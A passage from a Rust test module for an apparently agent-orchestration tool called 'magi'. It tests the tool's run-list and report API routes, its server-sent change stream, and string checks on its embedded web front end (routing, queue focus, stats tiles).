12066 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12067 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12068 assert_eq!(rows[1].superseded_by, None);
12069 }
12070
12071 #[test]
12072 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12073 let mut state = RunState::new(
12074 PathBuf::from("/repo/magi"),
12075 "main".to_owned(),
12076 "0123456789abcdef".to_owned(),
12077 "Review only".to_owned(),
12078 Config::default(),
12079 );
12080 state.id = "20260922-090200-dead".to_owned();
12081 state.status = RunStatus::Reviewing;
12082 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12083 .expect("serialize list row");
12084 assert_eq!(row["status"], "reviewing");
12085 assert_eq!(row["live"], "dead", "{row}");
12086 assert!(!row["done"].as_bool().unwrap());
12087 }
12088
12089 #[tokio::test]
12090 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12091 let f = Fixture::start().await;
12092 for id in [
12093 "20260902-140501-aaaa",
12094 "20260902-140502-bbbb",
12095 "20260902-140503-cccc",
12096 ] {
12097 write_run(&f.runs(), id, RunStatus::Merged);
12098 }
12099
12100 let all = f.get("/api/runs").await.json();
12101 let capped = f.get("/api/runs?limit=2").await.json();
12102
12103 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12104 assert_eq!(all.as_array().map(Vec::len), Some(3));
12105 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12106 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12107 }
12108
12109 #[tokio::test]
12110 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12111 let f = Fixture::start().await;
12112 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12113
12114 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12115
12116 assert_eq!(res.status, 200);
12117 assert!(
12118 res.headers
12119 .contains("content-type: text/plain; charset=utf-8"),
12120 "a browser must render it, not download it: {}",
12121 res.headers
12122 );
12123 assert!(
12127 res.body.contains("20260902-140501-a1b2"),
12128 "the report is about the run that was asked for: {}",
12129 res.body
12130 );
12131 }
12132
12133 #[tokio::test]
12134 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12135 crate::run::pin_test_home();
12137 let f = Fixture::start().await;
12138 let id = "20260902-140501-a1b2";
12139 write_run(&f.runs(), id, RunStatus::Stalled);
12140 let path = f.runs().join(id).join("run.json");
12143 let mut v: serde_json::Value =
12144 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12145 v["tally"] = serde_json::json!({
12146 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12147 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12148 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12149 "met_quorum": false, "rankings": 1
12150 });
12151 v["reviews"] = serde_json::json!([{
12152 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12153 "e2e_deferred": true,
12154 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12155 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12156 ]}]
12157 }]);
12158 std::fs::write(&path, v.to_string()).unwrap();
12159 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12160 std::fs::write(
12161 f.runs().join("20260902-140502-dead").join("run.json"),
12162 "{not json",
12163 )
12164 .unwrap();
12165
12166 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12167
12168 assert_eq!(res.status, 200, "{}", res.body);
12169 assert!(res.headers.contains("content-type: application/json"));
12170 let j = res.json();
12171 assert_eq!(j["schema"], 1);
12172 assert_eq!(j["header"]["id"], id);
12173 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12174 let kinds: Vec<&str> = j["sections"]
12175 .as_array()
12176 .unwrap()
12177 .iter()
12178 .map(|s| s["kind"].as_str().unwrap())
12179 .collect();
12180 assert_eq!(kinds, ["candidates", "tally", "review"]);
12181 let tally = &j["sections"][1]["tally"];
12182 assert_eq!(
12183 (tally["decided"].clone(), tally["provisional"].clone()),
12184 (false.into(), true.into())
12185 );
12186 let round = &j["sections"][2]["rounds"][0];
12187 assert_eq!(round["e2e"]["state"], "deferred");
12188 assert_eq!(round["findings"][0]["severity"], "major");
12189 assert_eq!(round["findings"][0]["blocking"], true);
12190 assert_eq!(round["findings"][0]["state"], "open");
12191
12192 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12194
12195 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12197 assert_ne!(bad.status, 200, "{}", bad.body);
12198 assert_eq!(
12199 bad.status,
12200 f.get("/api/runs/20260902-140502-dead/report").await.status
12201 );
12202 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12203 assert_eq!(
12204 f.get("/api/runs/20260902-999999-ffff/report.json")
12205 .await
12206 .status,
12207 404
12208 );
12209 }
12210
12211 #[tokio::test]
12212 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12213 let f = Fixture::start().await;
12214
12215 let html = f.get("/").await;
12216 let css = f.get("/app.css").await;
12217 let js = f.get("/app.js").await;
12218
12219 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12220 assert!(
12221 html.headers
12222 .contains("content-type: text/html; charset=utf-8")
12223 );
12224 assert!(css.headers.contains("content-type: text/css"));
12225 assert!(js.headers.contains("content-type: text/javascript"));
12226 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12227 }
12228
12229 #[test]
12230 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12231 let body = |name: &str| {
12232 let at = APP_JS
12233 .find(name)
12234 .unwrap_or_else(|| panic!("{name} missing"));
12235 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12236 };
12237 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12238 let note = body("function landRoundNote");
12239 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12240 assert!(note.contains("Land round ${round}"));
12241 let land = body("function renderLand");
12242 let note_at = land
12243 .find("landRoundNote(pr)")
12244 .expect("renderLand uses the note");
12245 assert!(
12246 note_at
12247 < land
12248 .find("roundRail(pr)")
12249 .expect("renderLand uses the rail")
12250 );
12251 }
12252
12253 #[test]
12254 fn the_runs_page_redesign_keeps_its_guards() {
12255 let body = |name: &str| {
12256 let at = APP_JS
12257 .find(name)
12258 .unwrap_or_else(|| panic!("{name} missing"));
12259 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12260 };
12261 let land = body("function renderLand");
12263 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12264 assert!(
12265 !land.contains("box.append("),
12266 "renderLand must use append()"
12267 );
12268 assert!(land.contains("append(box, ["));
12269 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12271 assert!(
12272 body("function applyRoute")
12273 .contains("route.name !== state.route.name || route.id !== state.route.id")
12274 );
12275 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12277 assert!(!INDEX_HTML.contains("advise-converge"));
12278 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12279 assert!(APP_JS.contains("provisional"));
12280 for id in [
12281 "run-tab-overview",
12282 "run-tab-timeline",
12283 "run-tab-report",
12284 "run-report",
12285 "runs-scope",
12286 ] {
12287 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12288 }
12289 assert!(!INDEX_HTML.contains("runs-tree"));
12290 assert!(!INDEX_HTML.contains("run-raw-panel"));
12291 assert!(APP_JS.contains("resume"));
12293 assert!(APP_JS.contains("unreadable"));
12295 }
12296
12297 #[test]
12298 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12299 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12300 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12301 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12302 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12303 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12304 assert!(APP_JS.contains("unreadable` : null"));
12306 }
12307
12308 #[test]
12309 fn the_run_detail_payload_says_whether_the_run_is_done() {
12310 for (status, done) in [
12312 (RunStatus::Superseded, true),
12313 (RunStatus::Blocked, true),
12314 (RunStatus::Landing, false),
12315 ] {
12316 let mut state = RunState::new(
12317 std::path::PathBuf::from("/repo"),
12318 "main".to_owned(),
12319 "abc".to_owned(),
12320 "x".to_owned(),
12321 crate::config::Config::default(),
12322 );
12323 state.status = status;
12324 let v = serde_json::to_value(RunDetailView::of(
12325 state,
12326 crate::run::Liveness::Unknown,
12327 None,
12328 None,
12329 None,
12330 ))
12331 .unwrap();
12332 assert_eq!(v["done"], done, "{status:?}");
12333 }
12334 }
12335
12336 fn has_strong(nodes: &[md::Node]) -> bool {
12338 serde_json::to_string(nodes).unwrap().contains("strong")
12339 }
12340
12341 #[test]
12342 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12343 let mut state = RunState::new(
12344 std::path::PathBuf::from("/repo"),
12345 "main".to_owned(),
12346 "abc".to_owned(),
12347 "x".to_owned(),
12348 crate::config::Config::default(),
12349 );
12350 let proposal = |approach: &str| {
12351 serde_json::json!({
12352 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12353 })
12354 };
12355 state.advice = Some(
12356 serde_json::from_value(serde_json::json!({
12357 "records": [
12358 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12359 "proposal": proposal("do **this**")},
12360 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12361 ],
12362 "synthesis": "- one\n- **two**\n\n`code`",
12363 }))
12364 .unwrap(),
12365 );
12366 state.candidates = serde_json::from_value(serde_json::json!([
12367 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12368 "summary": "did **it**"},
12369 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12370 ]))
12371 .unwrap();
12372 state.reviews = serde_json::from_value(serde_json::json!([{
12375 "round": 1, "head": "h",
12376 "reviews": [{
12377 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12378 "findings": [
12379 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12380 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12381 ],
12382 }],
12383 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12384 "fix": {"agent": "a", "notes": "fixed **it**",
12385 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12386 }, {"round": 2, "head": "h2", "reviews": []}]))
12387 .unwrap();
12388
12389 let v = serde_json::to_value(RunDetailView::of(
12390 state,
12391 crate::run::Liveness::Unknown,
12392 None,
12393 None,
12394 None,
12395 ))
12396 .unwrap();
12397
12398 let strong = |p: &str| {
12399 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12400 assert!(n.to_string().contains("strong"), "{p}: {n}");
12401 };
12402 strong("/advice_md/synthesis");
12403 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12404 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12405 strong("/advice_md/approaches/0");
12406 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12407 strong("/candidate_summaries_md/0");
12408 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12409 strong("/reviews_md/0/reviewers/0/summary");
12410 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12411 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12412 assert!(f[1].to_string().contains("strong"));
12413 strong("/reviews_md/0/reconsideration/0");
12414 strong("/reviews_md/0/fix/notes");
12415 strong("/reviews_md/0/fix/rejected/0");
12416 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12417 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12418 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12420 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12421 }
12422
12423 #[test]
12424 fn a_run_without_advice_has_no_advice_md() {
12425 let state = RunState::new(
12426 std::path::PathBuf::from("/repo"),
12427 "main".to_owned(),
12428 "abc".to_owned(),
12429 "x".to_owned(),
12430 crate::config::Config::default(),
12431 );
12432 let p = run_prose_md(&state);
12433 assert!(p.advice_md.is_none());
12434 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12435 }
12436
12437 #[test]
12438 fn a_question_view_carries_markdown_for_each_thread_turn() {
12439 let home = TempDir::new().unwrap();
12440 let store = ask::Questions::at(home.path().join("questions"));
12441 let mut q = Question::new(
12442 "run".to_owned(),
12443 "implement".to_owned(),
12444 "impl-A".to_owned(),
12445 "which?".to_owned(),
12446 String::new(),
12447 Vec::new(),
12448 );
12449 q.say("plain words").unwrap();
12450 q.reply("use **this**", Vec::new()).unwrap();
12451 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12452 let bodies = &v["thread_bodies_md"];
12453 assert_eq!(bodies.as_array().unwrap().len(), 2);
12454 assert!(!bodies[0].to_string().contains("strong"));
12455 assert!(bodies[1].to_string().contains("strong"));
12456 }
12457
12458 #[test]
12459 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12460 let home = TempDir::new().unwrap();
12461 let store = ask::Questions::at(home.path().join("questions"));
12462 let mut q = Question::new(
12463 "run".to_owned(),
12464 "conduct".to_owned(),
12465 "conduct".to_owned(),
12466 "which?".to_owned(),
12467 String::new(),
12468 Vec::new(),
12469 );
12470 q.say("plain words").unwrap();
12471 q.thread.push(ask::Turn {
12472 who: ask::Who::Agent,
12473 body: "Settled as `merge`".to_owned(),
12474 at: jiff::Timestamp::now(),
12475 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12476 });
12477 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12478 let notes = &v["thread_notes_md"];
12479 assert_eq!(notes.as_array().unwrap().len(), 2);
12480 assert!(notes[0].is_null());
12481 let text = notes[1].to_string();
12482 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12483 assert!(APP_JS.contains("ask-turn-note"));
12484 }
12485
12486 #[test]
12487 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12488 assert!(APP_JS.contains("function landView(run, raw) {"));
12492 assert!(
12493 APP_JS.contains(
12494 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12495 )
12496 );
12497 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12498 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12499 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12500 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12501 }
12502
12503 #[test]
12504 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12505 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12506 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12507 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12508 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12509 }
12510
12511 #[test]
12512 fn review_rounds_label_a_distinct_verified_head() {
12513 assert!(APP_JS.contains("round.verified_head"));
12514 assert!(APP_JS.contains("verified HEAD"));
12515 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12516 }
12517
12518 #[test]
12519 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12520 assert!(APP_JS.contains("blocked: { glyph:"));
12524 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12525
12526 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12530 assert!(
12531 APP_JS.contains(
12532 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12533 ),
12534 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12535 );
12536 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12540
12541 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12545 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12546 assert!(
12547 APP_JS.contains("location.hash = \"#/questions\";"),
12548 "a question node must jump to the Questions screen, not pretend to be a task"
12549 );
12550
12551 assert!(APP_JS.contains("Resolved questions"));
12554 assert!(APP_JS.contains("r.answersList.append("));
12555 assert!(APP_CSS.contains(".task-answers"));
12556 {
12557 let start = APP_JS
12558 .find("function updateTalkTaskRow")
12559 .expect("updateTalkTaskRow");
12560 let body = &APP_JS[start..];
12561 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12562 assert!(
12563 body.contains(
12564 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12565 ),
12566 "a chat-filed task row must link to the task page"
12567 );
12568 assert!(
12569 !body.contains("#/runs/") && !body.contains("#/queue/"),
12570 "the row must not branch to a run or the queue card"
12571 );
12572 assert!(APP_CSS.contains(".talk-task-link"));
12573 }
12574 }
12575
12576 #[test]
12577 fn a_task_notification_links_to_the_task_page() {
12578 let start = APP_JS
12580 .find("function noticeLink(")
12581 .expect("noticeLink exists");
12582 let body = &APP_JS[start..];
12583 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12584 assert!(
12585 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12586 "a task notice's link must target the task page"
12587 );
12588 assert!(
12589 !body.contains("#/queue/"),
12590 "regression: the task link must not go back to the Backlog route"
12591 );
12592 assert!(
12593 APP_JS.contains(
12594 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12595 ),
12596 "`#/tasks/<id>` must parse into the task route"
12597 );
12598
12599 assert!(
12601 APP_JS.contains(
12602 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12603 ),
12604 "`#/queue/<id>` must parse into a route carrying that id"
12605 );
12606
12607 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12611 assert!(APP_JS.contains("function consumeQueueFocus()"));
12612 assert!(APP_JS.contains("jumpToTask(id)"));
12613 }
12614
12615 #[test]
12618 fn chat_rows_put_the_title_alone_on_the_first_line() {
12619 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12620 assert!(APP_CSS.contains(
12621 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12622 ));
12623 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12624 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12625 }
12626
12627 #[test]
12628 fn run_rows_put_the_title_alone_on_the_first_line() {
12629 assert!(
12630 APP_CSS.contains(
12631 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12632 )
12633 );
12634 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12635 assert!(APP_JS.contains("class: \"card run-card\""));
12636 assert!(APP_JS.contains("class: \"repo run-id\""));
12637 }
12638
12639 #[test]
12643 fn wide_screens_show_list_and_preview_side_by_side() {
12644 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12646 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12647 assert!(APP_CSS.contains("main[data-split]"));
12648 assert!(APP_CSS.contains("body[data-split]"));
12649
12650 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12652 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12653 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12654 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12655 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12656
12657 assert!(APP_JS.contains("function markSelected() {"));
12659 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12660 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12661 assert!(
12663 APP_CSS.contains(
12664 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12665 )
12666 );
12667
12668 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12670 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12671 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12672 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12673
12674 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12678 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12679 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12680 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12681
12682 assert!(APP_JS.contains("sandbox: \"\""));
12684 assert!(!APP_JS.contains("sandbox: \"allow"));
12685 }
12686
12687 #[test]
12688 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12689 assert!(
12698 APP_JS.contains(
12699 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12700 ),
12701 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12702 recursive renderQueue() call has nothing left to jump to"
12703 );
12704 assert!(
12705 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12706 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12707 arrives later still gets it"
12708 );
12709 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12710 assert!(APP_JS.contains("is not in the current Backlog."));
12711 assert!(APP_JS.contains("li.card[data-task-id=\""));
12712 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12713 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12714 assert!(APP_CSS.contains(".card-permalink"));
12715 assert!(APP_CSS.contains(".queue-focus-status"));
12716 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12717 }
12718
12719 #[test]
12720 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12721 assert!(
12729 APP_JS.contains(
12730 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12731 ),
12732 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12733 );
12734 }
12735
12736 #[test]
12737 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12738 assert!(
12739 APP_JS.contains("round.verified_head !== round.head"),
12740 "a round that verified an earlier commit must be visibly distinct from one that \
12741 verified the head reviewers are looking at now"
12742 );
12743 assert!(
12744 APP_JS.contains("round.verified_at"),
12745 "when a check ran must be on the wire, not just which commit"
12746 );
12747 assert!(
12748 APP_JS.contains("resource_blocked"),
12749 "a command magi never got to run (shared build cache contention) must not render \
12750 the same as a command that ran and failed"
12751 );
12752 }
12753
12754 #[test]
12755 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12756 assert!(
12764 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12765 "every KPI tile built through statusTile() must route its click through \
12766 openRunsFiltered, the single place that sets the Runs filter"
12767 );
12768 for (label, status) in [
12769 ("Merged", "merged"),
12770 ("Ready", "ready"),
12771 ("Blocked", "blocked"),
12772 ("Stalled", "stalled"),
12773 ] {
12774 let call = format!("statusTile(\"{label}\", t.{status}, ");
12775 assert!(
12776 APP_JS.contains(&call),
12777 "expected the {label} KPI tile built via {call}..."
12778 );
12779 assert!(
12780 APP_JS.contains(&format!("status === \"{status}\"")),
12781 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12782 compare a run against, not one invented only for the stats tile"
12783 );
12784 }
12785 assert!(
12786 APP_JS.contains("function openRunsFiltered(status)"),
12787 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12788 );
12789 assert!(
12790 APP_JS.contains(
12791 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12792 ),
12793 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12794 );
12795 assert!(
12803 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12804 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12805 hashchange event that may never fire"
12806 );
12807 }
12808
12809 #[test]
12810 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12811 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12817 assert!(
12818 APP_JS.contains(
12819 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12820 ),
12821 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12822 guard for an incompatible tree section"
12823 );
12824 }
12825
12826 #[test]
12827 fn every_stats_queue_tile_names_a_real_queue_section() {
12828 assert!(
12834 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12835 "every queue tile built through sectionTile() must route its click through \
12836 openQueueSectionFocus"
12837 );
12838 for key in ["upnext", "running", "done", "held", "blocked"] {
12839 assert!(
12840 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12841 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12842 );
12843 }
12844 for line in [
12848 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12849 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12850 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12851 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12852 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12853 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12854 ] {
12855 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12856 }
12857 }
12858
12859 #[test]
12860 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12861 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12868 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12869 assert!(APP_JS.contains("function revealQueueSection(details)"));
12870 assert!(
12871 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12872 "renderQueue() must consume both focus channels on every pass"
12873 );
12874 assert!(
12875 APP_JS.contains(
12876 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12877 ),
12878 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12879 the recursive renderQueue() call has nothing left to reveal"
12880 );
12881 assert!(
12882 APP_JS.contains(
12883 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12884 ),
12885 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12886 );
12887 assert!(
12895 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12896 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12897 hashchange event that may never fire"
12898 );
12899 }
12900
12901 #[tokio::test]
12902 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12903 let f = Fixture::start().await;
12904
12905 let mut socket = tokio::net::TcpStream::connect(f.addr)
12906 .await
12907 .expect("connect");
12908 socket
12909 .write_all(
12910 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12911 )
12912 .await
12913 .expect("write request");
12914
12915 let mut seen = String::new();
12918 let mut buf = [0u8; 1024];
12919 while !seen.contains("event: change") {
12920 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12921 .await
12922 .expect("the stream must speak within five seconds")
12923 .expect("read");
12924 assert!(read > 0, "the server closed the change stream: {seen}");
12925 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12926 }
12927
12928 assert!(
12929 seen.to_lowercase()
12930 .contains("content-type: text/event-stream"),
12931 "the browser only reconnects automatically for a real SSE stream: {seen}"
12932 );
12933 let data = seen
12934 .lines()
12935 .find_map(|l| l.strip_prefix("data:"))
12936 .expect("a data line");
12937 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12938 assert!(
12939 payload["queue_rev"].is_u64()
12940 && payload["runs_rev"].is_u64()
12941 && payload["questions_rev"].is_u64()
12942 && payload["talks_rev"].is_u64()
12943 && payload["notifications_rev"].is_u64()
12944 && payload["loop_rev"].is_u64(),
12945 "the client needs one revision per store to know what to refetch, \
12946 and `talks_rev` is the only notification a standing talk gets - a \
12947 phone whose radio slept through a turn learns about it here, as \
12948 does one whose operator started the loop from another device: \
12949 {payload}"
12950 );
12951
12952 let health = f.get("/api/health").await.json();
12959 for key in [
12960 "queue_rev",
12961 "runs_rev",
12962 "questions_rev",
12963 "talks_rev",
12964 "notifications_rev",
12965 "loop_rev",
12966 ] {
12967 assert!(
12968 health[key].is_u64(),
12969 "health is the change stream's fallback and is missing `{key}`: {health}"
12970 );
12971 }
12972 }
12973
12974 #[tokio::test]
12975 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12976 let f = Fixture::start().await;
12977 let before = f.get("/api/health").await.json()["talks_rev"]
12978 .as_u64()
12979 .expect("talks_rev");
12980
12981 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12982 std::thread::sleep(Duration::from_millis(10));
12983 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12984 on_disk.turns.push(crate::talk::Turn {
12985 who: crate::talk::Who::Operator,
12986 body: "a new turn".to_owned(),
12987 at: Timestamp::now(),
12988 attachments: Vec::new(),
12989 usage: None,
12990 });
